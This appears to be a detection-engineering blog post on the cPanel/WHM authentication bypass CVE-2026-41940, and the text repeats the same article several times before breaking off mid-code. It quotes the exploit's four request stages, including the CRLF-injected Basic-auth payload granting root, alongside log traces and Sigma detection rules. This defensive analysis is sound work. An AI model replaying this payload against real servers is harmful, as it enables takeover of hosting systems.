Searching for bulletproof detections in cPanel Land

/

Boaz Katzir

,

Arie Balonov

,

TL;DR

The latest cPanel Authentication Bypass (CVE-2026-41940) gives attackers unauthenticated root access, and stealthy threat actors are already bypassing early, generic detections. To counter this, we analyzed the exploit's mechanics to develop bulletproof detection rules (SIGMA) that identify the exploit's unavoidable core behaviors. To create these detections, you need a deep, contextual understanding of how the application actually behaves.

This blogpost demonstrates how difficult this problem is. For doing it at scale you need something completely different.

On the 28th of April, a critical authentication bypass vulnerability affecting cPanel and WHM  numbered CVE-2026-41940 was published. The vulnerability allows unauthenticated users to gain root access to the vulnerable machine and has been exploited as a zero-day since as early as the 23rd of February 2026. In response, cPanel has published patches, and several hosting providers have closed the administration ports that allow exploitation. However, widespread exploitation remains a substantial threat, and some web servers are exploitable through the standard web interface even without access to the administration ports. More than a million cPanel instances are currently exposed to the internet, and many of them still rely on EoL operating systems where cPanel doesn't support updates.

Detection content started appearing within hours of the CVE dropping. Naturally, the main emphasis was on speed, as exploitation began rapidly and security engineers worldwide raced to detect, remediate, and patch. Under that kind of pressure, the first wave of detections inevitably ended up being effective for specific exploit PoCs but less so against attackers writing their own exploit variant. An official detection script from cPanel, for instance, searches for irregular session files. This only catches attackers who leave their sessions open but tells you nothing about an attacker who simply calls /logout at the end of initial access.


To complement these efforts, we decided to dive deep into the mechanisms of the cPanel exploit and its logs to provide detections against the entire range of exploitation, including stealthy attackers who are modifying their exploits to bypass existing detections.

Vulnerability Summary

As shown in this diagram from Picus Security, the exploit requires 4 distinct stages and abuses a CRLF injection vulnerability (stage 2). Stage 1 is used to create a so called preauth session cookie and session file, stage 3 is needed to make the injected data be written to the right place in the disk and stage 4 represents any use by the attacker of the high privileges obtained.


Diving into cPanel Logs

As cPanel is the website management system, it requires an HTTP web server such as Apache or Nginx to act as a front. Naturally, they provide some logs. But because they act as a proxy to the cPanel and WHM administration panels, they are less likely to show the data we need directly. Moreover, as there are a lot of options for HTTP servers to use with cPanel, any detection we use will be quite limited to a subset of instances.

Luckily, CPanel itself is quite a verbose platform in terms of logs too:



Next, we'll examine the 4 stages of the watchTowr exploit. For each, we'll see how it's reflected in access_log and login_log (The only files where relevant data is generated by the exploit). This would enable us to isolate the stages that are inherent to the attack and use them to create bulletproof detections.


Stage 1: Creating a Preauth Session

def stage1_preauth(s, scheme, host, port, canonical):
    r = http(s, "POST", scheme, host, port, canonical,
             "/login/?login_only=1",
             data={"user": "root", "pass": "wrong"})
    
    for k, v in r.raw.headers.items():
        if k.lower() == "set-cookie" and v.startswith("whostmgrsession="):
            cookie_value = v.split("=", 1)[1].split(";", 1)[0]
            ...

This step is designed to create a whostmgrsession cookie, leaving the following trace behind in the access_log:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "POST /login/?login_only=1 HTTP/1.1" 401 0 "-" "python-requests/2.31.0" "-" "-" 2087 -

And the following line in login_log:

[2026-05-03 14:00:55 +0000] info [whostmgrd] 10.0.23.4 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect

Potentially, this log line can be used for detection and has been mentioned in several blogs. Unfortunately, the cookie is generated on any failed login attempt — not just POST /login/?login_only=1. Basic POST /, GET /, or POST /login/ all issue the same cookie for us in our lab.**  **As such, other exploits may not generate any log line in login_log,  and thus, it's an unusable artifact for detection.

Stage 2: The CRLF Injection

PAYLOAD = """
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1""".replace('\n', '\r\n')

r = http(s, "GET", scheme, host, port, canonical, "/",
         headers={

             "Cookie": f"whostmgrsession={cookie}",
             "Authorization": f"Basic {base64.b64encode(PAYLOAD)}",
         })
loc = r.headers.get("Location", "")
m = re.search(r"/cpsess\d+", loc)
token = m.group(0)  # e.g. /cpsess2855760979

A GET / request is sent carrying the session cookie, received in the previous stage, and an Authorization: Basic header whose base64-decoded value contains CRLF sequences.

In the access log, the following trace is generated:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "GET / HTTP/1.1" 307 0 "-" "python-requests/2.31.0" "b" "-" 2087

The response of the server is a Location header which includes the CSRF token that identifies the session, now with root  privileges.  Without getting into all the specifics, GET / is the only endpoint where the CRLF vulnerability is reachable and returns a status 3xx, which includes the CSRF token in the Location.

Looking closely at the access log, the "b" flag on GET / immediately stands out. cPanel's documentation suggests that this is a flag meaning Basic authentication has been sent. The explanation below details the possible flags for this column:\



This means that we have a way to detect a GET / with Basic authorization. This should not happen at all regularly, as GET / is an unauthorized endpoint. When we call it in WHM we get the basic login screen:



So, we have our first bulletproof detection – A GET call to /, with authentication method "b"! As there is no other reason for this call, it is enough to prove an attack. We can even refine it to a redirect status code (3xx) as it's required for an attacker to get the Location header, which includes the `cpsess` number needed for Stage 4. From the access log we can also extract the source IP and the username used by the exploit:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "GET / HTTP/1.1" 307 0 "-" "python-requests/2.31.0" "b" "-" 2087

Stage 3: Propagating to Cache

The injected session in the filesystem path raw/ needs to be promoted to the cache/ layer that cpsrvd actually reads for authentication decisions.

To do that, the exploit runs the following:

r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
         headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Expects: HTTP 401 with "Token denied" or "WHM Login" in body

which produces the following log line in access_log:

127.0.0.1 - root [05/03/2026:11:29:16] "GET /scripts2/listaccts HTTP/1.1"      401 0 "-" "python-requests/2.31.0" "-"  "-" 2087

And in login_log we see the following:

[2026-05-03 14:00:55 +0000] info [whostmgrd] 10.0.23.4 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing

This URI is not unique – hitting any authenticated endpoint with the unauthenticated cookie triggers cpsrvd's do_token_denied code path, which reads the raw/ file and writes it to cache/.  The message from login_log doesn't help us much either, as a missing security token is a common error that may happen whenever an unauthenticated user tries to access a page. Thus, we don't have enough unique information to create a detection.

Stage 4: Using or verifying the privileged access

Now that the session file is written to the right place and the attacker has the token, they can use that access to execute any privileged action they want. But any action needs to be preceded by the CSRF protection of the cpsses token they received.

In the exploit we see the following:

r = http(s, "GET", scheme, host, port, canonical,
         f"{token}/json-api/version",
         headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Returns: HTTP 200 {"version":"11.136.0.4"}

Which produces this line in access_log:

127.0.0.1 - root [05/03/2026:11:29:16] "GET /cpsess2855760979/json-api/version HTTP/1.1" 200 0 "-" "python-requests/2.31.0" "s" "-" 2087

The json-api/version part is not inherent to the exploit and can easily be replaced, but that cpsessNNNNNNNNNN needs to be used. Notice the "s", signaling that this session has been authenticated with a cookie. 

This stage gives us another option for detection – a session with a valid cookie is initiated, /cpsess… is called, a 200 status code is received, but we never observed a successful login.

We can correlate different log lines, as cPanel enforces sessions for the client IP, and in contrast to the other features, the vulnerability building blocks don't allow injecting a different IP in the session file. To avoid false positives, we need to identify not only standard successful login, but also logins through OpenID (through /openid_connect/), and through WHM to cPanel (used by resellers, users /cpsessNNNNNNNNNNN/login?session), as after a successful login, a session file is also used for them.

To summarize, an IP that has an "s" session, without a 200 status code for a login action, is highly likely to be an exploit. The challenge is only correlating between the two log lines, as they can be far apart in time. While this detection is substantially more complex than the first, it can be used for other authentication bypass exploits in the future.

While this detection is substantially more complex than the first, it can be used for other authentication bypass exploits in the future. It's important to note that the correlation between the event happening and the event not happening (the login) is tricky – a login for a session can happen a long time before its reuse. Additionally, if a legitimate user has logged in from the same IP as the attacker (if both use the same VPN, for example) before the exploitation, it would cause a false positive. If the logs had some kind of correlation id or session key, defenders could better protect against these kinds of authorization attacks, but we currently have to use only what's available.

Putting the Detections into the SIEM

As described above, we have written detections, as Sigma and as SIEM queries for stages 2 and 4. When testing the events against the cPanel logs in Splunk, we've come across a familiar problem:




When connecting cPanel to Splunk through the default settings, Splunk sets the sourcetype as access_combined_wcookie, which parses in this example "b" as cookie instead of authentication_method. Splunk is hardly alone here, similar problems arose when plugging the logs and attempting to run the detection on other SIEMs. SIGMA rules converted to DSL could not work out of the box without some plumbing on our part for each cPanel log type. We suggest that everyone using our SIGMA rules first see how their logs are parsed into their SIEM. We are also publishing the schema we've used for Splunk here.

In addition to that, the detection rule for stage 4 presented us with a problem: how to express with SIGMA a correlation between two events where one of them **shouldn't **exist, and that only before the one exists. We've decided to use timespan: 24h, but this also means that the rule checks there are no successful login after successful session file use. The inability of current SIGMA rules to support it is understandable, given the vastly different ways SIEMs handle this correlation.


Conclusion

We've outlined two detection mechanisms that can unequivocally determine if, and by whom, an intrusion has occurred. Additionally, we're providing Microsoft Sentinel and Splunk schemas for relevant cPanel logs. See here.

cPanel was launched in 1996 and three decades of feature growth have produced a sprawling mix of log types, many with custom formats and no correlation option or index. For defenders managing and onboarding hundreds of applications across a network, the need to invest heavily in understanding each application, building threat models, and tailoring connectors that produce correlated, meaningful events is simply not feasible.

This visibility gap that arises inevitably also creates a detection gap. Detection engineers today need to battle with their application for providing logs, and then battle again with their SIEMs to let them query the logs in a useful way.

Onboarding apps, logging, correlation and threat detection must be done differently. Stay tuned for what's next.

Detection Rules

The rules are also available in the Github Repo.


Malicious GET /

title: cPanel WHM Authentication Bypass via CRLF Injection (CVE-2026-41940)
id: 25e9ef06-c1de-476e-aedb-4d50dee610c5
status: stable
description: |
  Detects Stage 2 of the cPanel/WHM CRLF injection authentication bypass (CVE-2026-41940).
  The attacker sends GET /  with an Authorization: Basic header whose
  decoded value contains CRLF-injected session fields. cpsrvd records auth_method "b"
  (HTTP Basic) in the access_log and responds with a 3xx redirect that leaks the
  cpsess security token in the Location header.
references:
  - https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
author: Unfold Security Research Lab
date: 2026-05-05
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-41940
logsource:
  product: cpanel
  service: access_log
  definition: |
    Log file: /usr/local/cpanel/logs/access_log
    Format (from docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files):
      client_ip - user [timestamp] "method path protocol" status bytes referrer useragent authentication_method x_forwarded_for port
    Field positions:
      cs-method          = HTTP method (field inside quoted request string)
      cs-uri-stem        = Request path
      sc-status          = HTTP response status code
      authentication_method = Auth type: a=API token, b=HTTP Basic, s=Session, o=OpenID, -=none
      port               = Service port cpsrvd received the request on
detection:
  selection:
    cs-method: 'GET'
    cs-uri-stem: '/'
    sc-status|startswith: '3'
    authentication_method: 'b'
  condition: selection
level


Successful Session authorization without login

title: cPanel WHM Successful Login
name: cpanel_whm_successful_login
id: 559fe2e0-9239-44af-a277-628511ffbbd4
status: experimental
description: Base rule — successful login to WHM. Accounts for standard forms, 2FA, OpenID Connect (SSO), and internal WHM account possession API flows. Used by correlation rule.
logsource:
  product: cpanel
  service: access_log
  definition: |
    Log file: /usr/local/cpanel/logs/access_log
    Format (from docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files):
      client_ip - user [timestamp] "method path protocol" status bytes referrer useragent authentication_method x_forwarded_for port
    Field positions:
      cs-method          = HTTP method (field inside quoted request string)
      cs-uri-stem        = Request path
      sc-status          = HTTP response status code
      authentication_method = Auth type: a=API token, b=HTTP Basic, s=Session, o=OpenID, -=none
      port               = Service port cpsrvd received the request on

detection:
  selection_form:
    cs-method: 'POST'
    cs-uri-stem|startswith: '/login'
    sc-status: 200
  selection_openid:
    cs-uri-stem|contains: '/openid_connect/'
    sc-status|startswith: '3'
  selection_possession:
    cs-method: 'GET'
    cs-uri-stem|contains: '/login'
    cs-uri-query|startswith: 'session='
    sc-status: 
      - 200
      - 302
  condition: 1 of selection_*
level: informational
---
title: cPanel WHM Session-Authenticated cpsess Request
name: cpanel_whm_cpsess_session_access
id: a28dd486-5e0b-424b-862e-1e01919ed7cb
status: experimental
description: Base rule — HTTP 200 session-authenticated request to a cpsess path on WHM. Used by correlation rule.
logsource:
  product: cpanel
  service: access_log
detection:
  selection:
    cs-uri-stem|re: '^/cpsess\d{10}/'
    sc-status: 200
    authentication_method: 's'
  condition: selection
level: informational
---
title: cPanel WHM Session Access Without Prior Successful Login (CVE-2026-41940)
id: 559fe2e0-9239-44af-a277-628511ffbbd4
status: test
description: |
  Detects a WHM session-authenticated cpsess request (auth_method "s", HTTP 200) from
  a source IP that had no successful login (form-based, SSO, or reseller possession) in the preceding 24 hours.
  A legitimate admin always has a preceding login event before any cpsess session access.
references:
  - https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
  - https://docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files
author: Unfold Security Research Lab
date: 2026-05-05
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-41940
action: correlation
type: temporal_ordered
rules:
  login: cpanel_whm_successful_login
  session: cpanel_whm_cpsess_session_access
group-by:
  - c-ip
timespan: 24h
condition: session and not login
falsepositives:
  - An admin whose session cookie persists across the 24h window from a prior day login.
    Tune the timespan or anchor the window to the session creation time if this fires.
level


References

cPanel Log Files Reference

cPanel CVE-2026-41940 Security Advisory

Early Exploitation Evidence (Reddit Discussion)

NVD CVE-2026-41940 Advisory

Picus Security: CVE-2026-41940 Technical Analysis

Watchtowr Labs: cPanel/WHM Authentication Bypass Deep Dive

TL;DR

The latest cPanel Authentication Bypass (CVE-2026-41940) gives attackers unauthenticated root access, and stealthy threat actors are already bypassing early, generic detections. To counter this, we analyzed the exploit's mechanics to develop bulletproof detection rules (SIGMA) that identify the exploit's unavoidable core behaviors. To create these detections, you need a deep, contextual understanding of how the application actually behaves.

This blogpost demonstrates how difficult this problem is. For doing it at scale you need something completely different.

On the 28th of April, a critical authentication bypass vulnerability affecting cPanel and WHM  numbered CVE-2026-41940 was published. The vulnerability allows unauthenticated users to gain root access to the vulnerable machine and has been exploited as a zero-day since as early as the 23rd of February 2026. In response, cPanel has published patches, and several hosting providers have closed the administration ports that allow exploitation. However, widespread exploitation remains a substantial threat, and some web servers are exploitable through the standard web interface even without access to the administration ports. More than a million cPanel instances are currently exposed to the internet, and many of them still rely on EoL operating systems where cPanel doesn't support updates.

Detection content started appearing within hours of the CVE dropping. Naturally, the main emphasis was on speed, as exploitation began rapidly and security engineers worldwide raced to detect, remediate, and patch. Under that kind of pressure, the first wave of detections inevitably ended up being effective for specific exploit PoCs but less so against attackers writing their own exploit variant. An official detection script from cPanel, for instance, searches for irregular session files. This only catches attackers who leave their sessions open but tells you nothing about an attacker who simply calls /logout at the end of initial access.


To complement these efforts, we decided to dive deep into the mechanisms of the cPanel exploit and its logs to provide detections against the entire range of exploitation, including stealthy attackers who are modifying their exploits to bypass existing detections.

Vulnerability Summary

As shown in this diagram from Picus Security, the exploit requires 4 distinct stages and abuses a CRLF injection vulnerability (stage 2). Stage 1 is used to create a so called preauth session cookie and session file, stage 3 is needed to make the injected data be written to the right place in the disk and stage 4 represents any use by the attacker of the high privileges obtained.


Diving into cPanel Logs

As cPanel is the website management system, it requires an HTTP web server such as Apache or Nginx to act as a front. Naturally, they provide some logs. But because they act as a proxy to the cPanel and WHM administration panels, they are less likely to show the data we need directly. Moreover, as there are a lot of options for HTTP servers to use with cPanel, any detection we use will be quite limited to a subset of instances.

Luckily, CPanel itself is quite a verbose platform in terms of logs too:



Next, we'll examine the 4 stages of the watchTowr exploit. For each, we'll see how it's reflected in access_log and login_log (The only files where relevant data is generated by the exploit). This would enable us to isolate the stages that are inherent to the attack and use them to create bulletproof detections.


Stage 1: Creating a Preauth Session

def stage1_preauth(s, scheme, host, port, canonical):
    r = http(s, "POST", scheme, host, port, canonical,
             "/login/?login_only=1",
             data={"user": "root", "pass": "wrong"})
    
    for k, v in r.raw.headers.items():
        if k.lower() == "set-cookie" and v.startswith("whostmgrsession="):
            cookie_value = v.split("=", 1)[1].split(";", 1)[0]
            ...

This step is designed to create a whostmgrsession cookie, leaving the following trace behind in the access_log:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "POST /login/?login_only=1 HTTP/1.1" 401 0 "-" "python-requests/2.31.0" "-" "-" 2087 -

And the following line in login_log:

[2026-05-03 14:00:55 +0000] info [whostmgrd] 10.0.23.4 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect

Potentially, this log line can be used for detection and has been mentioned in several blogs. Unfortunately, the cookie is generated on any failed login attempt — not just POST /login/?login_only=1. Basic POST /, GET /, or POST /login/ all issue the same cookie for us in our lab.**  **As such, other exploits may not generate any log line in login_log,  and thus, it's an unusable artifact for detection.

Stage 2: The CRLF Injection

PAYLOAD = """
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1""".replace('\n', '\r\n')

r = http(s, "GET", scheme, host, port, canonical, "/",
         headers={

             "Cookie": f"whostmgrsession={cookie}",
             "Authorization": f"Basic {base64.b64encode(PAYLOAD)}",
         })
loc = r.headers.get("Location", "")
m = re.search(r"/cpsess\d+", loc)
token = m.group(0)  # e.g. /cpsess2855760979

A GET / request is sent carrying the session cookie, received in the previous stage, and an Authorization: Basic header whose base64-decoded value contains CRLF sequences.

In the access log, the following trace is generated:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "GET / HTTP/1.1" 307 0 "-" "python-requests/2.31.0" "b" "-" 2087

The response of the server is a Location header which includes the CSRF token that identifies the session, now with root  privileges.  Without getting into all the specifics, GET / is the only endpoint where the CRLF vulnerability is reachable and returns a status 3xx, which includes the CSRF token in the Location.

Looking closely at the access log, the "b" flag on GET / immediately stands out. cPanel's documentation suggests that this is a flag meaning Basic authentication has been sent. The explanation below details the possible flags for this column:\



This means that we have a way to detect a GET / with Basic authorization. This should not happen at all regularly, as GET / is an unauthorized endpoint. When we call it in WHM we get the basic login screen:



So, we have our first bulletproof detection – A GET call to /, with authentication method "b"! As there is no other reason for this call, it is enough to prove an attack. We can even refine it to a redirect status code (3xx) as it's required for an attacker to get the Location header, which includes the `cpsess` number needed for Stage 4. From the access log we can also extract the source IP and the username used by the exploit:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "GET / HTTP/1.1" 307 0 "-" "python-requests/2.31.0" "b" "-" 2087

Stage 3: Propagating to Cache

The injected session in the filesystem path raw/ needs to be promoted to the cache/ layer that cpsrvd actually reads for authentication decisions.

To do that, the exploit runs the following:

r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
         headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Expects: HTTP 401 with "Token denied" or "WHM Login" in body

which produces the following log line in access_log:

127.0.0.1 - root [05/03/2026:11:29:16] "GET /scripts2/listaccts HTTP/1.1"      401 0 "-" "python-requests/2.31.0" "-"  "-" 2087

And in login_log we see the following:

[2026-05-03 14:00:55 +0000] info [whostmgrd] 10.0.23.4 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing

This URI is not unique – hitting any authenticated endpoint with the unauthenticated cookie triggers cpsrvd's do_token_denied code path, which reads the raw/ file and writes it to cache/.  The message from login_log doesn't help us much either, as a missing security token is a common error that may happen whenever an unauthenticated user tries to access a page. Thus, we don't have enough unique information to create a detection.

Stage 4: Using or verifying the privileged access

Now that the session file is written to the right place and the attacker has the token, they can use that access to execute any privileged action they want. But any action needs to be preceded by the CSRF protection of the cpsses token they received.

In the exploit we see the following:

r = http(s, "GET", scheme, host, port, canonical,
         f"{token}/json-api/version",
         headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Returns: HTTP 200 {"version":"11.136.0.4"}

Which produces this line in access_log:

127.0.0.1 - root [05/03/2026:11:29:16] "GET /cpsess2855760979/json-api/version HTTP/1.1" 200 0 "-" "python-requests/2.31.0" "s" "-" 2087

The json-api/version part is not inherent to the exploit and can easily be replaced, but that cpsessNNNNNNNNNN needs to be used. Notice the "s", signaling that this session has been authenticated with a cookie. 

This stage gives us another option for detection – a session with a valid cookie is initiated, /cpsess… is called, a 200 status code is received, but we never observed a successful login.

We can correlate different log lines, as cPanel enforces sessions for the client IP, and in contrast to the other features, the vulnerability building blocks don't allow injecting a different IP in the session file. To avoid false positives, we need to identify not only standard successful login, but also logins through OpenID (through /openid_connect/), and through WHM to cPanel (used by resellers, users /cpsessNNNNNNNNNNN/login?session), as after a successful login, a session file is also used for them.

To summarize, an IP that has an "s" session, without a 200 status code for a login action, is highly likely to be an exploit. The challenge is only correlating between the two log lines, as they can be far apart in time. While this detection is substantially more complex than the first, it can be used for other authentication bypass exploits in the future.

While this detection is substantially more complex than the first, it can be used for other authentication bypass exploits in the future. It's important to note that the correlation between the event happening and the event not happening (the login) is tricky – a login for a session can happen a long time before its reuse. Additionally, if a legitimate user has logged in from the same IP as the attacker (if both use the same VPN, for example) before the exploitation, it would cause a false positive. If the logs had some kind of correlation id or session key, defenders could better protect against these kinds of authorization attacks, but we currently have to use only what's available.

Putting the Detections into the SIEM

As described above, we have written detections, as Sigma and as SIEM queries for stages 2 and 4. When testing the events against the cPanel logs in Splunk, we've come across a familiar problem:




When connecting cPanel to Splunk through the default settings, Splunk sets the sourcetype as access_combined_wcookie, which parses in this example "b" as cookie instead of authentication_method. Splunk is hardly alone here, similar problems arose when plugging the logs and attempting to run the detection on other SIEMs. SIGMA rules converted to DSL could not work out of the box without some plumbing on our part for each cPanel log type. We suggest that everyone using our SIGMA rules first see how their logs are parsed into their SIEM. We are also publishing the schema we've used for Splunk here.

In addition to that, the detection rule for stage 4 presented us with a problem: how to express with SIGMA a correlation between two events where one of them **shouldn't **exist, and that only before the one exists. We've decided to use timespan: 24h, but this also means that the rule checks there are no successful login after successful session file use. The inability of current SIGMA rules to support it is understandable, given the vastly different ways SIEMs handle this correlation.


Conclusion

We've outlined two detection mechanisms that can unequivocally determine if, and by whom, an intrusion has occurred. Additionally, we're providing Microsoft Sentinel and Splunk schemas for relevant cPanel logs. See here.

cPanel was launched in 1996 and three decades of feature growth have produced a sprawling mix of log types, many with custom formats and no correlation option or index. For defenders managing and onboarding hundreds of applications across a network, the need to invest heavily in understanding each application, building threat models, and tailoring connectors that produce correlated, meaningful events is simply not feasible.

This visibility gap that arises inevitably also creates a detection gap. Detection engineers today need to battle with their application for providing logs, and then battle again with their SIEMs to let them query the logs in a useful way.

Onboarding apps, logging, correlation and threat detection must be done differently. Stay tuned for what's next.

Detection Rules

The rules are also available in the Github Repo.


Malicious GET /

title: cPanel WHM Authentication Bypass via CRLF Injection (CVE-2026-41940)
id: 25e9ef06-c1de-476e-aedb-4d50dee610c5
status: stable
description: |
  Detects Stage 2 of the cPanel/WHM CRLF injection authentication bypass (CVE-2026-41940).
  The attacker sends GET /  with an Authorization: Basic header whose
  decoded value contains CRLF-injected session fields. cpsrvd records auth_method "b"
  (HTTP Basic) in the access_log and responds with a 3xx redirect that leaks the
  cpsess security token in the Location header.
references:
  - https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
author: Unfold Security Research Lab
date: 2026-05-05
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-41940
logsource:
  product: cpanel
  service: access_log
  definition: |
    Log file: /usr/local/cpanel/logs/access_log
    Format (from docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files):
      client_ip - user [timestamp] "method path protocol" status bytes referrer useragent authentication_method x_forwarded_for port
    Field positions:
      cs-method          = HTTP method (field inside quoted request string)
      cs-uri-stem        = Request path
      sc-status          = HTTP response status code
      authentication_method = Auth type: a=API token, b=HTTP Basic, s=Session, o=OpenID, -=none
      port               = Service port cpsrvd received the request on
detection:
  selection:
    cs-method: 'GET'
    cs-uri-stem: '/'
    sc-status|startswith: '3'
    authentication_method: 'b'
  condition: selection
level


Successful Session authorization without login

title: cPanel WHM Successful Login
name: cpanel_whm_successful_login
id: 559fe2e0-9239-44af-a277-628511ffbbd4
status: experimental
description: Base rule — successful login to WHM. Accounts for standard forms, 2FA, OpenID Connect (SSO), and internal WHM account possession API flows. Used by correlation rule.
logsource:
  product: cpanel
  service: access_log
  definition: |
    Log file: /usr/local/cpanel/logs/access_log
    Format (from docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files):
      client_ip - user [timestamp] "method path protocol" status bytes referrer useragent authentication_method x_forwarded_for port
    Field positions:
      cs-method          = HTTP method (field inside quoted request string)
      cs-uri-stem        = Request path
      sc-status          = HTTP response status code
      authentication_method = Auth type: a=API token, b=HTTP Basic, s=Session, o=OpenID, -=none
      port               = Service port cpsrvd received the request on

detection:
  selection_form:
    cs-method: 'POST'
    cs-uri-stem|startswith: '/login'
    sc-status: 200
  selection_openid:
    cs-uri-stem|contains: '/openid_connect/'
    sc-status|startswith: '3'
  selection_possession:
    cs-method: 'GET'
    cs-uri-stem|contains: '/login'
    cs-uri-query|startswith: 'session='
    sc-status: 
      - 200
      - 302
  condition: 1 of selection_*
level: informational
---
title: cPanel WHM Session-Authenticated cpsess Request
name: cpanel_whm_cpsess_session_access
id: a28dd486-5e0b-424b-862e-1e01919ed7cb
status: experimental
description: Base rule — HTTP 200 session-authenticated request to a cpsess path on WHM. Used by correlation rule.
logsource:
  product: cpanel
  service: access_log
detection:
  selection:
    cs-uri-stem|re: '^/cpsess\d{10}/'
    sc-status: 200
    authentication_method: 's'
  condition: selection
level: informational
---
title: cPanel WHM Session Access Without Prior Successful Login (CVE-2026-41940)
id: 559fe2e0-9239-44af-a277-628511ffbbd4
status: test
description: |
  Detects a WHM session-authenticated cpsess request (auth_method "s", HTTP 200) from
  a source IP that had no successful login (form-based, SSO, or reseller possession) in the preceding 24 hours.
  A legitimate admin always has a preceding login event before any cpsess session access.
references:
  - https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
  - https://docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files
author: Unfold Security Research Lab
date: 2026-05-05
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-41940
action: correlation
type: temporal_ordered
rules:
  login: cpanel_whm_successful_login
  session: cpanel_whm_cpsess_session_access
group-by:
  - c-ip
timespan: 24h
condition: session and not login
falsepositives:
  - An admin whose session cookie persists across the 24h window from a prior day login.
    Tune the timespan or anchor the window to the session creation time if this fires.
level


References

cPanel Log Files Reference

cPanel CVE-2026-41940 Security Advisory

Early Exploitation Evidence (Reddit Discussion)

NVD CVE-2026-41940 Advisory

Picus Security: CVE-2026-41940 Technical Analysis

Watchtowr Labs: cPanel/WHM Authentication Bypass Deep Dive

TL;DR

The latest cPanel Authentication Bypass (CVE-2026-41940) gives attackers unauthenticated root access, and stealthy threat actors are already bypassing early, generic detections. To counter this, we analyzed the exploit's mechanics to develop bulletproof detection rules (SIGMA) that identify the exploit's unavoidable core behaviors. To create these detections, you need a deep, contextual understanding of how the application actually behaves.

This blogpost demonstrates how difficult this problem is. For doing it at scale you need something completely different.

On the 28th of April, a critical authentication bypass vulnerability affecting cPanel and WHM  numbered CVE-2026-41940 was published. The vulnerability allows unauthenticated users to gain root access to the vulnerable machine and has been exploited as a zero-day since as early as the 23rd of February 2026. In response, cPanel has published patches, and several hosting providers have closed the administration ports that allow exploitation. However, widespread exploitation remains a substantial threat, and some web servers are exploitable through the standard web interface even without access to the administration ports. More than a million cPanel instances are currently exposed to the internet, and many of them still rely on EoL operating systems where cPanel doesn't support updates.

Detection content started appearing within hours of the CVE dropping. Naturally, the main emphasis was on speed, as exploitation began rapidly and security engineers worldwide raced to detect, remediate, and patch. Under that kind of pressure, the first wave of detections inevitably ended up being effective for specific exploit PoCs but less so against attackers writing their own exploit variant. An official detection script from cPanel, for instance, searches for irregular session files. This only catches attackers who leave their sessions open but tells you nothing about an attacker who simply calls /logout at the end of initial access.


To complement these efforts, we decided to dive deep into the mechanisms of the cPanel exploit and its logs to provide detections against the entire range of exploitation, including stealthy attackers who are modifying their exploits to bypass existing detections.

Vulnerability Summary

As shown in this diagram from Picus Security, the exploit requires 4 distinct stages and abuses a CRLF injection vulnerability (stage 2). Stage 1 is used to create a so called preauth session cookie and session file, stage 3 is needed to make the injected data be written to the right place in the disk and stage 4 represents any use by the attacker of the high privileges obtained.


Diving into cPanel Logs

As cPanel is the website management system, it requires an HTTP web server such as Apache or Nginx to act as a front. Naturally, they provide some logs. But because they act as a proxy to the cPanel and WHM administration panels, they are less likely to show the data we need directly. Moreover, as there are a lot of options for HTTP servers to use with cPanel, any detection we use will be quite limited to a subset of instances.

Luckily, CPanel itself is quite a verbose platform in terms of logs too:



Next, we'll examine the 4 stages of the watchTowr exploit. For each, we'll see how it's reflected in access_log and login_log (The only files where relevant data is generated by the exploit). This would enable us to isolate the stages that are inherent to the attack and use them to create bulletproof detections.


Stage 1: Creating a Preauth Session

def stage1_preauth(s, scheme, host, port, canonical):
    r = http(s, "POST", scheme, host, port, canonical,
             "/login/?login_only=1",
             data={"user": "root", "pass": "wrong"})
    
    for k, v in r.raw.headers.items():
        if k.lower() == "set-cookie" and v.startswith("whostmgrsession="):
            cookie_value = v.split("=", 1)[1].split(";", 1)[0]
            ...

This step is designed to create a whostmgrsession cookie, leaving the following trace behind in the access_log:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "POST /login/?login_only=1 HTTP/1.1" 401 0 "-" "python-requests/2.31.0" "-" "-" 2087 -

And the following line in login_log:

[2026-05-03 14:00:55 +0000] info [whostmgrd] 10.0.23.4 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect

Potentially, this log line can be used for detection and has been mentioned in several blogs. Unfortunately, the cookie is generated on any failed login attempt — not just POST /login/?login_only=1. Basic POST /, GET /, or POST /login/ all issue the same cookie for us in our lab.**  **As such, other exploits may not generate any log line in login_log,  and thus, it's an unusable artifact for detection.

Stage 2: The CRLF Injection

PAYLOAD = """
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1""".replace('\n', '\r\n')

r = http(s, "GET", scheme, host, port, canonical, "/",
         headers={

